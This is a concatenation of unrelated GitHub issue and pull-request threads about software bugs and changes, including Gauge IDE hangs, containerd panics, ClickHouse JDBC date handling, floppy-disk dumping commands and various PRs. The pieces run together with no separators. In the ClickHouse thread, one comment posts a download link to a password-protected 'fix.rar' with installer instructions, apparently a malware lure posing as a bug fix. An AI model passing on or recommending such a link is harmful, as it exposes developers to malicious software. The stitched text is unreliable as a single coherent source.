([JdkSharedIndexSuggestion(SharedIndexId(kind=jdk, url=https://index-cdn.jetbrains.com/v2/jdk, indexId=f36223f0ae5a4bee76d408eeebb9e67e5de5720848da6834eef797ff29d7a4ef#version 11.0.9), lazy)])  [  12054]   INFO - redIndexChunkConfigurationImpl - Chunk jdk-3f1a3304104d47c630a8178bf817af4c99a55230bc34fc5aa68a91edbd2eeeb3-f8a305a77ad7 is registered for project 'gauge-tests: matching: (fb=67, stub=73), incompatible: (fb=0, stub=0), unknown: (fb=10, stub=22),   [  12166]   INFO - oad.SharedIndexDownloadService - Fetching shared index: SharedIndexResult(request='JdkIndexRequest(sdkName=11, hash=f5dfca1a78b6cb67c22dc28388b78e854b0fab83, aliases=[11.0.9, 11], kind=jdk)', url='https://index-cdn.jetbrains.com/v2/data/jdk/e2efa0e2db705d0c776a357acffde85e4f49d806/11.0.11-corretto-11.0.11-windows-3f1a3304104d47c630a8178bf817af4c99a55230bc34fc5aa68a91edbd2eeeb3.ijx.xz', weakHash=f8a305a77ad7, weakBaseVersionHash=3404703181c5, sha256='3f1a3304104d47c630a8178bf817af4c99a55230bc34fc5aa68a91edbd2eeeb3') ([JdkSharedIndexSuggestion(SharedIndexId(kind=jdk, url=https://index-cdn.jetbrains.com/v2/jdk, indexId=f36223f0ae5a4bee76d408eeebb9e67e5de5720848da6834eef797ff29d7a4ef#version 11.0.9), lazy)])  [  12180]   WARN - .AbstractProgressIndicatorBase - This progress indicator is indeterminate, this may lead to visual inconsistency. Please call setIndeterminate(false) before you start progress. com.intellij.indexing.shared.download.SharedIndexDownloadExecutor$submitPreProgressSync$1$context$1$showBackgroundableProgress$task$1.run(SharedIndexDownloadExecutor.kt:234)  [  14913]   INFO - indexing.UnindexedFilesUpdater - Scanning completed. Number of scanned files: 62403; Number of files for indexing: 0 took 6377ms; general responsiveness: ok; EDT responsiveness: 1/6 sluggish, 1/6 very slow  [  14937]   INFO - indexing.UnindexedFilesUpdater - Pushing properties took 24ms; general responsiveness: ok; EDT responsiveness: ok  [  14945]   INFO - indexing.UnindexedFilesUpdater - Finish. No files to index with loading content.  [  15113]   INFO - .services.SpaceKtsFileDetector - SpaceKtsFileDetector   [  15618]   INFO - CompilerWorkspaceConfiguration - Available processors: 8  [  16317]   INFO - gnostic.WindowsDefenderChecker - Windows Defender status: not used  [  16797]   INFO - m.codeWithMe.CodeWithMeCleanup - running activity to cleanup old thin clients... Root path is 'C:\Users\MYUSER\AppData\Local\JetBrains'  [  16798]   INFO - m.codeWithMe.CodeWithMeCleanup - found 0 Code With Me client system folders to check  [  16798]   INFO - m.codeWithMe.CodeWithMeCleanup - found 0 Code With Me client config folders to check  [  16798]   INFO - m.codeWithMe.CodeWithMeCleanup - keep only [] major versions  [  28873]   INFO - j.ide.actions.RevealFileAction - Exit code 1  [  30234]   INFO - rationStore.ComponentStoreImpl - Saving appFileTypeManager took 16 ms, LineMarkerSettings took 16 ms
Additional info:
Gauge version: 1.2.1
Commit Hash: e219012
Plugins
html-report (4.0.12)
java (0.7.13)
screenshot (0.0.1)
spectacle (0.1.4)
xml-report (0.2.3)
JDK: jdk-<IP_ADDRESS>+1
System specs are not the same for everyone but in these parameters:
Intel(R) Core(TM) i5-10310U CPU @ 1.70GHz   2.21 GHz
16.0 GB (15.7 GB usable)
Windows 10 Pro
Version: 20H2
Build no: 19042.1052
Hope this helps. If you need more info, let me know.
Have a nice day,
Displazya

Hi @Displazya -
I think I have a theory (unfortunately, I am unable to simulate this issue myself in any of my environments).
What I think is going on here - Gauge is running into a race condition with the file watchers. In the daemon mode, Gauge tries to build up a cache of all the parsed Specs/Scenarios etc, that it can feed into the IDEs during autocomplete/code generation etc. Gauge also adds a few file watchers to update this cache. The filewatcher is added asynchronously.
Now, what seems to happen is that the filewatchers seem to get activated before the cache gets built up.
I have two ideas to confirm this issue, and I have pushed one to the PR.
The first idea is to delay the attaching of the filewatcher. You can get the build here: https://github.com/getgauge/gauge/suites/3111894861/artifacts/71224507
IF you can try and see if this makes any difference, that'd be helpful.
thank you!

@sriv i will try it out for a couple more days. so far it looks good.

@lochotzke @Displazya - just wanted to check if the new build is working well for you? If it is, then I'll merge the PR and get a release out. Thanks.

Hello @sriv,
We've tested the latest gauge.exe that you provided for the past week and it works really good. No issues encountered!
I think its safe to merge the PR.
Thank you so much for the effort, you have no idea how much you've helped us.
All the best,
Displazya

Hello @sriv,
sorry for responding so late, I had trouble with the new build (company anti-virus had some issues with it).
but it seems it have fixed the issue for us too.
Thank you very much for your help.
Kind regards

@sriv - the plugin works fine for me. i have switched to a linux vm in the meantime though, because of go issues in my window environment.
thanks a lot for the support.

Hi @Displazya @Sebbiv @lochotzke - Thank you for your feedback. I will merge this PR then, and you'll be able to use this change in the upcoming release.
Thanks again for your patience!

It still stuck on this version
Gauge version: 1.3.1
Commit Hash: c76b761
Plugins
csharp (0.10.6)
dotnet (0.4.1)
html-report (4.1.0)
java (0.7.15)
js (2.3.12)
python (0.3.15)
ruby (0.5.4)
screenshot (0.0.1)
spectacle (0.1.4)
xml-report (0.2.3)

@lirany1 are you able to share any further details to help troubleshoot?

@lirany1 are you able to share any further details to help troubleshoot?

Yes of course i can like what?

Yes of course i can like what?

A sample project to replicate this would be most helpful. But if that's not possible, could you observe your logs directory for any errors/hints? gauge.log, api.log and any .out files should contain error logs.
Also, what happens when you run gauge daemon from terminal in the project directory?

It's just stuck on connecting to gauge
gauge daemon 59566
panic: assignment to entry in nil map

goroutine 7 [running]:
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).addToSpecsCache(...)
        D:/a/gauge/gauge/api/infoGatherer/specDetails.go:227
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).OnSpecFileModify(0xc000298000, 0xc0005f
f020, 0x59)
        D:/a/gauge/gauge/api/infoGatherer/specDetails.go:311 +0x19f
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).onFileModify(0xc000298000, 0xc000044380
, 0xc0005ff020, 0x59)
        D:/a/gauge/gauge/api/infoGatherer/specDetails.go:389 +0x6e
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).handleEvent(0xc000298000, 0xc0005fe180,
 0x59, 0x2, 0xc000044380)
        D:/a/gauge/gauge/api/infoGatherer/specDetails.go:422 +0x1af
github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).watchForFileChanges.func1(0xc000044380,
 0xc000298000)
        D:/a/gauge/gauge/api/infoGatherer/specDetails.go:445 +0x173
created by github.com/getgauge/gauge/api/infoGatherer.(*SpecInfoGatherer).watchForFileChanges
        D:/a/gauge/gauge/api/infoGatherer/specDetails.go:441 +0x165

@lirany1 this should have been fixed in v1.3.3 (https://github.com/getgauge/gauge/releases/tag/v1.3.3) or later.
Could you please upgrade gauge and check? (the latest is v1.4.0).

@lirany1 this should have been fixed in v1.3.3 (https://github.com/getgauge/gauge/releases/tag/v1.3.3) or later.
Could you please upgrade gauge and check? (the latest is v1.4.0).

Yep thanks @sriv seems like it works with 1.4.0
10x mate

Issue started to appear in our projects. I found this thread and after upgrading Gauge the issue persisted. A few debug sessions later I found out that the error cause was that we had a few environment variables in our properties files.
Example:
Project XY got a xy.properties file in which there is a line "vault_token = ${VAULT_TOKEN}"
After changing it to "vault_token = asdasd" and restarting IntelliJ IDEA, Gauge was able to initialize the connection on first try.

I still having this issue. Gauge version 1.0.7


Neural Insights draft

Type of Change
Added Neural Insights module for diagnosis and profiling
Modified Quantization and Benchmark configs by adding diagnosis parameter.
Description
Created Neural Insights code and modifications to Quantization and Benchmark API.
Expected Behavior & Potential Risk
Neural Insights workloads added when executing Quantization API or Benchmark API  with diagnosis parameter. These workloads should be visible in web GUI. Backend also should provide detailed information about specified diagnosis or profiling via endpoints.
How has this PR been tested?
Limited manual tests using TF image recognition examples.
Dependency Change?
No

Created new draft:
https://github.com/intel/neural-compressor/pull/875


Chore/batched image upload

This branch allows for uploading multiple images at a by having the client batch images. The client also gets nice feedback of the batches upload status.
This PR also removes uniqueness of image names.

Agreed. But the whole admin panel is a mess really


Asynchronous error handling in callback method is affected with v4.4.4 release

Hi team,
In the latest release v4.4.4, we found an issue affecting our query execution.
Due to changes in this commit, the asynchronous behavior of query executions is affected in callback method.

@instana/collector: node:internal/process/promises:391
@instana/collector:     triggerUncaughtException(err, true /* fromPromise */);

If a query execution fails, it is immediately thrown as an error, and further execution is blocked.
We don't have control over handling the failure.
scope.query(queryString, () => {
    cluster.queryIndexes().dropIndex(bucket.name, index1, () => {
        // and so on...
    });
});

We expect the failed query won't affect the current execution and the workflow continues until manually thrown like below:
scope.query(queryString, err => {
    if (err) {
        // return error
    };

    cluster.queryIndexes().dropIndex(bucket.name, index1, () => {
        // and so on...
    });
})

Handling like below doesn't work anymore:
scope.query(queryString, err => {
    if (err) {
        // do nothing, continue execution
    };

    cluster.queryIndexes().dropIndex(bucket.name, index1, () => {
        // and so on...
    });
})

As a workaround solution, we are forced to catch the returned promise and handle the error cases separately:
scope.query(queryString).catch(() => {
     // do nothing, continue execution
}).finally(() => {
 cluster.queryIndexes().dropIndex(bucket.name, index1, () => {

 });
})

This is coming from the change in PromiseHelper  in the commit, Please take a look.
Thanks in advance,
Abhilash

For anyone interested, I have written a TypeScript overlay to the official SDK, and that package does not have the issue introduced in 4.4.4 in the official package. It does fix the double invocation mentioned in https://jira.issues.couchbase.com/browse/JSCBC-1298 though.
Documentation: https://cbjs.dev

Hi @abhilash-sivan -- I have crated JSCBC-1311 for tracking within our JIRA system.  Will follow-up once the fix is made available (target is the next release v4.4.5).


OpenTelemetry for the SDK

🪄
Closes: #418

@gimenete Open for review, I've explained you the PR changes in our 1:1, but if you need more details feel free to ping me!


storage-users high memory usage when S3ng multipart uploads are enabled

Originally posted by @butonic in https://github.com/owncloud/ocis/issues/8589#issuecomment-2263106849

so now I see the storageusers pods being OOM killed as described in https://github.com/owncloud/ocis/pull/9656#issuecomment-2252750226
I currently think we are running into https://github.com/kubernetes/kubernetes/issues/43916#issuecomment-2249191975
edit: @wkloucek pointed out that we have to disable mime multipart uploads because it allocates too much memory

I created this separate issue to put more attention to the high memory usage of the S3ng multipart upload.

Background on the used library: https://github.com/minio/minio-go/issues/1496

Also tracked in https://kiteworks.atlassian.net/browse/OCSRE-100

@wkloucek Is this a blocker? This has not changed between ocis 5 and ocis 7

@wkloucek Is this a blocker? This has not changed between ocis 5 and ocis 7

Yes, still it got some visibility during the last months, so priorities might change at some point. I added it to Would be nice: on the release blockers ticket for some additional visibility, but I'm also fine with removing it again.


Remove files after build

Needs #5678
I need to put this under a feature flag and test locally. Tests are passing for now :)
Closes #5646

Notes:

We can't remove the pip cache because it's per project rather than per version https://github.com/stsewd/readthedocs.org/blob/b3c8d636e9e589805305e14483ab5e4b64a6741c/readthedocs/projects/models.py#L611-L615

But I think we can just don't cache anything since we are going to remove it

We face race conditions when executing more than one build in the same version.

This happens now, but isn't noticeable because we don't remove the whole checkout, now we do (and all the build servers, not just the current one).

Also, a general solution for the race conditions I think is having a way to query the build queue of the project, that way we can limit to build one version at the time (if the version is the same) and get rid of the lock when cloning a repo.

I'm removing the files from all the build servers, if we don't want to be so aggressive, we can just remove the files from the current one.

If two builds (same version) are triggered almost at the same time on different builders, the first one that ends will remove the files from the other one which is still building. Won't this be a problem?

Removing only from the same builder will have the same problems with race conditions https://github.com/rtfd/readthedocs.org/pull/5680#issuecomment-491095510

We decided to extend the lock, right now we release the lock after the clone step. Also, we can rely on the db for this. I'll see if this can fix in a separated PR, because it's useful for the current code too :)

Just a note for myself: We need to remove the checkout after we do the versions sync when a new branch is created. This is another task, separated from update_docs.

I'm not adding the clean_build task in the old webhooks because they are going to be removed https://github.com/rtfd/readthedocs.org/pull/5479. I could add them if you want.

So, I was able to reduce the percent of race conditions. The trick is keep using locks: one lock per task that modify files (build, clean build, sync versions).
Right now the biggest problem is that build_docs acquire 3 locks in the whole task. That lead to spaces in time where another task could take the lock and start modifying files that the other task expects to be as they were before releasing the lock.
I'm reducing the number of locks in build_docs to 2 in #5695. We can have only one after #5672
Till now, not changes are required in the corporate site.

Note for myself: I still need to add a lock in the syn versions step, but it would be more easy after https://github.com/rtfd/readthedocs.org/pull/5695

This is ready for review, most of the changes are in tests.
We ended up with 4 locks and 4 except blocks to catch them.

build_docs has 2 locks due that it has 2 build enviroments (locks need to be acquired inside the build env manager)
syn_repo has 1 lock
and clean_build has one lock too.

No changes are needed in the corporate site
Locks should be added to any top level task that modifies files or expect them to be there in all the steps.
If there is a build_env, the lock should be acquired inside the build env manager, due that build env catch the VersionLockedError error.

we are confident that clean_build_task is going to be executed in the same server where the sync_repository_task/update_docs_task was executed

Good question, honestly I'm not sure. I should take a look the rest of tasks how they handle that or see the celery docs.

we are aware that because we are not locking the whole build, we clean_build_task could delete the files in between the build steps (while outside the lock)

Yes, but only in one case (between the clone step and the build step there is a release of the block for some seconds).
That is blocked because of https://github.com/rtfd/readthedocs.org/issues/5672
We used to have like 3 block releases here :)

we are triggering an extra task (clean_build_task) on all the builds which will be a no-op task sometimes (this will be always true for corporate site) and I'm not sure if that will have any impact

I don't understand this one. We are using a feature flag, so only projects with the flag will trigger the task.

So, I re implemented this, so the process is executed in the same server, and divide it in small PRs (https://github.com/rtfd/readthedocs.org/pull/5765, https://github.com/rtfd/readthedocs.org/pull/5748).
Now I'm using a try/finally block to clean the build files.
I need to test this more locally.

@stsewd think merging the other PR for locks caused some conflicts here. Sorry about that.

@ericholscher that was expected actually :)

Fix for tests on master is in #5162


FasterRCNN possible? [Potential Future Dev]

Hello Jk!
Like usual, awesome work on this repo. I am always learning tons from the work you create.
I have tried to replicate what you did with SSD obj det in this repo but for FasterRCNN... but am not having much luck.. Have you tried to use any Tensorflow object detection API Faster RCNN models with the new Python TensorRT Api?
Please let me know if you were successful or if there is a plan to include this in the next addition to the repo.
Thank you for all your hard work :smile:

I might find time to work on YOLOv3 and Faster RCNN later.  But there's no firm timeline.

That would be amazing. Thanks for the update.


added KIRIKKALE UNIVERSITY TR

https://github.com/mustafabukh/swot/compare/JetBrains%3Aswot%3Amaster...master?expand=1

KIRIKKALE UNIVERSITY
https://en.kku.edu.tr/English
https://kku.edu.tr/

@mustafabukh I am sorry, the domain kku.edu.tr is removed from our trusted domains list because it was abused in the past. If you are the student of this school, please enroll to GitHub Student Developer Pack at https://education.github.com/discount_requests/application. Then apply for JetBrains educational subscription with your GitHub account (GitHub tab at https://www.jetbrains.com/shop/eform/students).


TTRPC Panic: send on closed channel

Description
On our nodes running Containerd 1.7.0 we are experiencing issues with Containerd failing with the following error message:
goroutine 110794110 [running]:
    panic: send on closed channel
    	/go/src/github.com/containerd/containerd/vendor/github.com/containerd/ttrpc/client.go:295 +0x1e
    github.com/containerd/ttrpc.(*Client).run(0xc0061eed80)
    	/go/src/github.com/containerd/containerd/vendor/github.com/containerd/ttrpc/client.go:333 +0x12e
    github.com/containerd/ttrpc.(*Client).receiveLoop(0xc0061eed80)
    	/go/src/github.com/containerd/containerd/vendor/github.com/containerd/ttrpc/stream.go:71 +0xa6
    github.com/containerd/ttrpc.(*stream).receive(0xc0061eed80?, {0x5634d429a300, 0xc0097f9630}, 0x5634d3f49b80?)
    created by github.com/containerd/ttrpc.NewClient
    	/go/src/github.com/containerd/containerd/vendor/github.com/containerd/ttrpc/client.go:95 +0x1f6
    created by github.com/containerd/ttrpc.NewClient

This causes the containerd service to restart and the node goes briefly unready during this time.
The problem seems to relate to either a set of pods that are stuck in a terminating state on the node or a set of pods restarting consistently. When cleaning up pods in these conditions we experienced a decrease in Containerd failing with the above panic message.
Steps to reproduce the issue
Not entirely sure of the trigger, potentially pods stuck in terminating or pods restarting.
Describe the results you received and expected
Containerd should be able to handle closed channels gracefully
What version of containerd are you using?
1.7.0
Any other relevant information
Kernel 6.1.21
OS Ubuntu 22.04
Kubernetes 1.25.6
Show configuration if it is related to CRI plugin.
No response

closed by https://github.com/containerd/containerd/releases/tag/v1.7.1


feat: add package to batch application info

Summary
Add Support for Bundle ID to Web SDK so that we can track Sample App or host app usage independent of workspace.
The expectation is that a user can pass in a packageName similar to our Native SDK and this will attach a package attribute to the application_info which can later be filtered along with os to determine app usage across three core platforms (Web, iOS and Android).
Testing Plan
Manually test that web SDK continues to work with or without this new config attribute and run automated tests.
Master Issue
Closes https://go.mparticle.com/work/SQDSDKS-3728

:tada: This PR is included in version 2.16.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


bundle: add autogenerated bundle files

The bundle files can be generated using "make bundle" with
appropriate parameters provided
To generate the files in this commit, the following parameters
were used with the command:
VERSION=4.10.0 IMG=quay.io/fromani/rte-operator:latest make bundle
Note that when running the command for the first time or when the
bundle files are removed, the command will ask additional questions,
asking for:

operator name
operator description
provider name
provider url
maintainers
operator keywords

Replaced by #4


Use rds instance

This pull requests integrates AWS' RDS and SQS services into the data refinery. The configuration of these is in Terraform. The RDS instance is used via Django's ORM still, the needed credentials are encrypted via git crypt in the */environments/prod files. In fact the integration with SQS is also done in the environment file via the CELERY_BROKER_URL variable. Keeping these changes in the environment files makes it easy to switch between developing on a personal machine and deploying within the cloud: just change the environment from dev to prod.
I tested these integrations by runnning some jobs with the prod environment set, looking at the SQS queue via AWS' interface, and by connecting to the RDS instance via psql and verifying that records were being created and used in it.

I'm going to assign this one to @rzelayafavila since you've read up on Terraform.

@rzelayafavila I've answered your questions and removed the pycurl dependency.


fix valid_encoding? bug

I am having a:
'undefined method `valid_encoding?' for nil:NilClass'

bug in production. I think that the cause is that the presence method returns nil if params.fetch(:html, '') is an empty string.

I'm not quite sure when this bug would happen, or under what circumstances - can you add a test that shows when this might happen?

@pawurb Is there a test that can make sure this doesn't regress in the future?

I am closing this. Theoretically, removing the presence call there shouldn't make a difference. However, I believe the only way this error could occur would be if fetch(:email, '') returns nil (not an empty string). Without a specific test case or more information, I don't want to make this change.


Improve recipe

Based on changes suggested to in conda-forge/staged-recipes#8975

Replace skip: True with noarch: python and set Python version in host and run sections
Set correct license_family
add entry points

Checklist

[x] Bumped the build number (if the version is unchanged)
[x] Ensured the license file is being packaged.

Hi! This is the friendly automated conda-forge-linting service.
I wanted to let you know that I linted all conda-recipes in your PR (recipe) and found some lint.
Here's what I've got...
For recipe:

The requirements section contained an unexpected subsection name. entry_points is not a valid subsection name.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.


Add SpiralIn Animation

Overview: What does this pull request change?

Adds an example in example_scenes called ManimBanner.py
Adds a new Animation class to animation/creation.py called SpiralIn that does the desired effect
Simplifies the code that existed in mobject/logo.py to use the new Animation class

Motivation and Explanation: Why and how do your changes improve the library?
WichoTutorialesYT (on discord) suggested making the ManimBanner animation (with the spiraling shapes and the $\mathbb{M}$) into a general animation that can be used for any MObject. The idea here is that the effect is applied to an arbitrary MObject simply by applying the old spiraling motion to all of its sub-MObjects.
Links to added or changed documentation pages

Further Information and Comments

This is my first PR in ManimCommunity, and as such I welcome constructive criticism involving how I can improve. I've made this a draft pull request, and I encourage suggestions, edits, etc.

Reviewer Checklist

[ ] The PR title is descriptive enough for the changelog, and the PR is labeled correctly
[ ] If applicable: newly added non-private functions and classes have a docstring including a short summary and a PARAMETERS section
[ ] If applicable: newly added functions and classes are tested

https://user-images.githubusercontent.com/42506941/147800142-22cbdbb7-2218-4886-87f9-7e0645816574.mp4

For the animation itself, could you add a docstring and typings?

@GameDungeon, I was just improving my example file as well. I decided to change the name of the example to SpiralInExample.py, and actually show how to use SpiralIn rather than just creating ManimBanner (which then called SpiralIn) to make the usage clearer. I'll go ahead and add docstring and typings now.

I also just moved my example (which was previously in its own animation file for some reason) into a new scene in basic.py. I think it's more organized this way.

@Darylgolden Let me make sure I understand you properly. You're talking about a start opacity, but this animation is like FadeIn, the point is to make the mobject appear continuously from nothing. It would look strange to have a starting opacity and have the mobject suddenly (partially) appear in the next frame, and then continue fading in the rest of the way. I think the opacity must always start at zero. However, you mentioned cases where mobjects only have partial opacity, and I think I can see a case that would cause unexpected behavior. Say the starting mobject has an opacity of 0.5. With my current code, I believe the mobject will spiral in by fading all the way to an opacity of 1. I could see an argument that the maximum opacity should max out at 0.5, since that's the initial opacity of the mobject.
Does my thought process line up with what you're thinking, or am I misunderstanding? I am proposing addressing this requested change by defining the behavior to fade in from 0 opacity only up to the original opacity of the mobject. Will this change satisfy your change request?

Yep, that's what I meant.

Okay, I added a parameter called fade_in_fraction. It determines the fraction of the entire animation time in which the sub_mobjects fade in. When they do fade in fully, their opacity matches the original fill_opacity.

What's the deal with the unsuccessful checks?

What's the deal with the unsuccessful checks?

Looked unrelated, I've re-triggered the pipeline.

Yes, okay. Everything passed this time. Do I have to merge it?

Nope, a core developer will merge it. I'll leave this open a little longer in case anyone else has some comments, and merge it if there're none.


feat(resolver): Add v3 resolver for MSRV-aware resolving

What does this PR try to resolve?
This is a part of #9930 and is important for changing the default with the new edition.
How should we test and review this PR?
Additional information

:umbrella: The latest upstream changes (presumably #13778) made this pull request unmergeable. Please resolve the merge conflicts.

Looks good. Thanks!
@bors r+

:pushpin: Commit d0528058a161de5a1a71d3430e39f5cb679bf333 has been approved by weihanglo
It is now in the queue for this repository.

:hourglass: Testing commit d0528058a161de5a1a71d3430e39f5cb679bf333 with merge 14b46ecc62aa671d7477beba237ad9c6a209cf5d...

:sunny: Test successful - checks-actions
Approved by: weihanglo
Pushing 14b46ecc62aa671d7477beba237ad9c6a209cf5d to master...

:sunny: Test successful - checks-actions
Approved by: weihanglo
Pushing 14b46ecc62aa671d7477beba237ad9c6a209cf5d to master...

:eyes: Test was successful, but fast-forwarding failed: 422 Changes must be made through a pull request.


anonymisation → deidentification

In the vast majority of cases, strict anonymisation is impossible. Use the more generic term deidentification instead.
I suggest #1769 is merged first, then I can rebase and fix all occurrences.
Fixes #1782.

#1769 merged.


Revert "[stdlib] Add Substring comparison benchmarks"

Reverts apple/swift#9917
Fails to build:
/Users/buildnode/jenkins/workspace/oss-swift-incremental-RA-osx/swift/benchmark/utils/main.swift:233:69: error: use of unresolved identifier 'run_EqualStringSubstringGenericStringProtocol'

OMG, you can't just comment out tests; you have to rename them.  Bah, humbug.

@dabrahams Do you want me to mess with the regEx that gathers the test names to ignore those with single line comments?

@dabrahams But I don't think it's worth it. It could not possibly cover your block comment. And there's the rule about not storing code in comments when we have version control… :-)

@dabrahams Why did you want to comment them out? Your initial comment on #9917 does not explain this to me. If you just wanted to not have them run as precommit checks, you could just stash them in the "string" test suite by modifying [main.swift.gyb](https://github.com/apple/swift/blob/master/benchmark/utils/main.swift.gyb#L42) to match them in this section:
string_re = [
    "StringWalk.+",
]

on Wed May 24 2017, Pavol Vaskovic <notifications-AT-github.com> wrote:

@dabrahams But I don't think it's worth it. It could not possibly
cover your block comment. And there's the rule about not storing code
in comments when we have version control… :-)

This code was never checked in, so that doesn't apply.
--
-Dave


Added the npm task publish:local

Added the npm task publish:local to create libraries to be used in local environment

I'm going to do the merge. Ok? it's only a line in the package.json. Not a big deal


Need help reading 5 1/4" Monkey Island 1 360k floppies

I have a Greaseweazle 4.0 hooked up to a 3 1/2" and 5 1/4" floppy combo drive with an external Molex power supply hooked up to a dual Berg male to female Molex splitter cable, and I need the proper commands to use the Greaseweazle command line app to properly dump the disk images of all eight Monkey Island 1 authentic 5 1/4" 360k floppies that I bought via eBay recently.
Thanks!

Another thing I should add is that when I first used GW to read the floppies' data to create disk images, the 5 1/4" section of my floppy combo drive had some initial "unknown mark" related problems and missing sectors due to the fact it hasn't been used in a good while. After setting the --revs option to around 50 to 100, it started to get the hang of it by getting back into sync and when I started to read the disks again as usual, it began working well.
My way of reading floppy disks of old retail games (whether it be DOS, Amiga, or even Atari ST) consists of the following command line parameters:
gw.exe read insertdiskimagename.here --drive=b --format=whatever --retries=10 --seek-retries=10 --revs=5
The reason why my drive letter is B is due to the fact I'm using a straight floppy ribbon cable hooked up to my GW 4.0 USB device that's usually found in Amiga computers.
As for 5 1/4 inch disks like the Monkey Island 1 kind mentioned earlier, my commands used after my 5 1/4" half of the floppy combo drive was back in sync were:
gw.exe read monkey_x.ima --drive=b --format=ibm.360 --retries=10 --seek-retries=10 --tracks="c=0-39:h=0-1:step=2" --revs=5
Before that, I used:
gw.exe read monkey_x.ima --drive=b --format=ibm.360 --retries=10 --seek-retries=10 --tracks="c=0-39:h=0-1:step=2" --revs=100
BTW regarding the --tracks parameter, I googled it up myself and found a closed support ticket regarding that and reading 360k  5 1/4" floppies under this GitHub project.


RUMM-2040 Detect user actions on remote control actionable devices

What does this PR do?
A brief description of the change being made with this pull request.
Motivation
What inspired you to submit this pull request?
Additional Notes
Anything else we should know when reviewing?
Review checklist (to be filled by reviewers)

[ ] Feature or bugfix MUST have appropriate tests (unit, integration, e2e)
[ ] Make sure you discussed the feature or bugfix with the maintaining team in an Issue
[ ] Make sure each commit and the PR mention the Issue number (cf the CONTRIBUTING doc)

Codecov Report

Merging #859 (5bbe7b5) into develop (91b073b) will decrease coverage by 0.00%.
The diff coverage is 95.83%.

@@             Coverage Diff             @@
##           develop     #859      +/-   ##
===========================================
- Coverage    81.64%   81.64%   -0.00%
===========================================
  Files          256      256
  Lines         8568     8584      +16
  Branches      1452     1456       +4
===========================================
+ Hits          6995     7008      +13
- Misses        1239     1240       +1
- Partials       334      336       +2

Impacted Files
Coverage Δ

...ernal/instrumentation/gestures/GesturesListener.kt
92.13% <ø> (-0.06%)
:arrow_down:

.../instrumentation/gestures/WindowCallbackWrapper.kt
91.67% <94.44%> (ø)

...instrumentation/gestures/DatadogGesturesTracker.kt
62.86% <100.00%> (+4.79%)
:arrow_up:

...internal/instrumentation/gestures/GesturesUtils.kt
90.91% <100.00%> (+0.91%)
:arrow_up:

...ain/java/com/datadog/opentracing/PendingTrace.java
57.26% <0.00%> (-1.71%)
:arrow_down:

...rc/main/java/com/datadog/opentracing/DDTracer.java
55.60% <0.00%> (-0.83%)
:arrow_down:

...main/java/com/datadog/exec/CommonTaskExecutor.java
51.02% <0.00%> (+4.08%)
:arrow_up:


Export - Spaces in Filenames

Export fails to export files with spaces in the filenames. Related to the recent issue with the properties panel displaying 'not in use' for files containing spaces in the name.

fixed


Error: only one main allowed. Previously found main at bayonet.d

Following the README and trying to compile, I get the following error.
$ bash r
Deprecation: use -g instead of -gc
maketable.d(55): Error: only one main allowed. Previously found main at bayonet.d(50)
$ dmd --version
DMD64 D Compiler v2.075.1
Copyright (c) 1999-2017 by Digital Mars written by Walter Bright

Fixed (updated README). Thanks!


micro_ros_udp_freertos example fails with FSP > v3.8.0

Issue template
Hardware description: EV-RA6M5
RTOS: bare metal, freertos
Installation type: micro_ros_udp_freertos, e2studio v2022-07, Ubuntu 20.04
Version or commit hash: galactic
Steps to reproduce the issue
Cloned per "Getting started" instructions. Imported project into e2 Studio, built and ran code with agent running on Ubuntu host PC.  Agent IP address is specified in microros_thread_entry.c, and DHCP is enabled for FreeRTOS+TCP component.
Example works if the BSP configuration is set to use FSP versions 3.5.0 through to 3.8.0.
Example fails if FSP version 4.0.0 or higher is used, at line 20 of microros_app.c
18    //create init_options
19    rclc_support_t support;
20    RCCHECK(rclc_support_init(&support, 0, NULL, &allocator));

Return code from rclc_support_init() is 1 (RCL_RET_ERROR = unspecified error return code).
Have not been able to debug further into rclc_support_init to understand why.

Hi @gsokoll,
Currently we don`t support FSP version 4.0.0, and it clearly breaks compatibility with 3.x versions.

Have not been able to debug further into rclc_support_init to understand why.

The error is caused by internal changes on the transport calls, if you really need to use the FSP 4.0 you can try to debug and update the transport methods: udp_transport_freeRTOS.c
I am closing, as an update to this FSP version is expected but is not on our current roadmap.


Clickhouse JDBC doesn't support parameter type conversions for java.sql.Date

Describe the bug
In the function ClickHouseValues.convertToSqlExpression, there is a big nested if/else block where clickhouse attempts to convert JDBC parameters to a strings.
In this case, the calling code is passing a java.sql.Date parameter (part of the JDBC spec), but clickhouse has no coversion path for this type.  It supports the more modern java.time but ends up taking the default path and just calling
String.valueOf(value)

Steps to reproduce

N/A - See description.  It points out the bug directly.

Expected behaviour
Clickhouse should handle java.sql.Date similar to java.time.LocalDate for setting named parameters in a JDBC query.
Code example
N/A
Error log
N/A
Configuration
Environment
JDBC Driver Version:
"com.clickhouse", "clickhouse-jdbc", "0.6.4"
ClickHouse server
N/A

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."


Playground: Fix accessibility errors due to input controls missing labels

Minor accessibility related fix for missing labels on input fields (<select>). Fixed using aria-label to avoid modifying UI.
Before

After

Lighthouse Accessibility Score: 78 => 92.
References

https://github.com/Microsoft/tsdoc/pull/100#discussion_r224229764
https://www.w3.org/WAI/WCAG21/Understanding/labels-or-instructions.html

:shipit:


Include xmlns attribute to make the svg includabel

I tried to reference the created svg source (pulled out into a file) recently in an img element but it would not render correctly. This is because the created svg does not contain the xmlns="http://www.w3.org/2000/svg" tag in the root element which is required for anything other than inline svgs (see this stackoverflow answer).
As the attribute is ignored in inlined svgs I think that it would be safe to include this. If you agree I'll happily provide a PR for this.

Done (: (Would have waited for your PR but I thought I could do it as well to speed things up a little since it already took me 7 days to respond 😆 )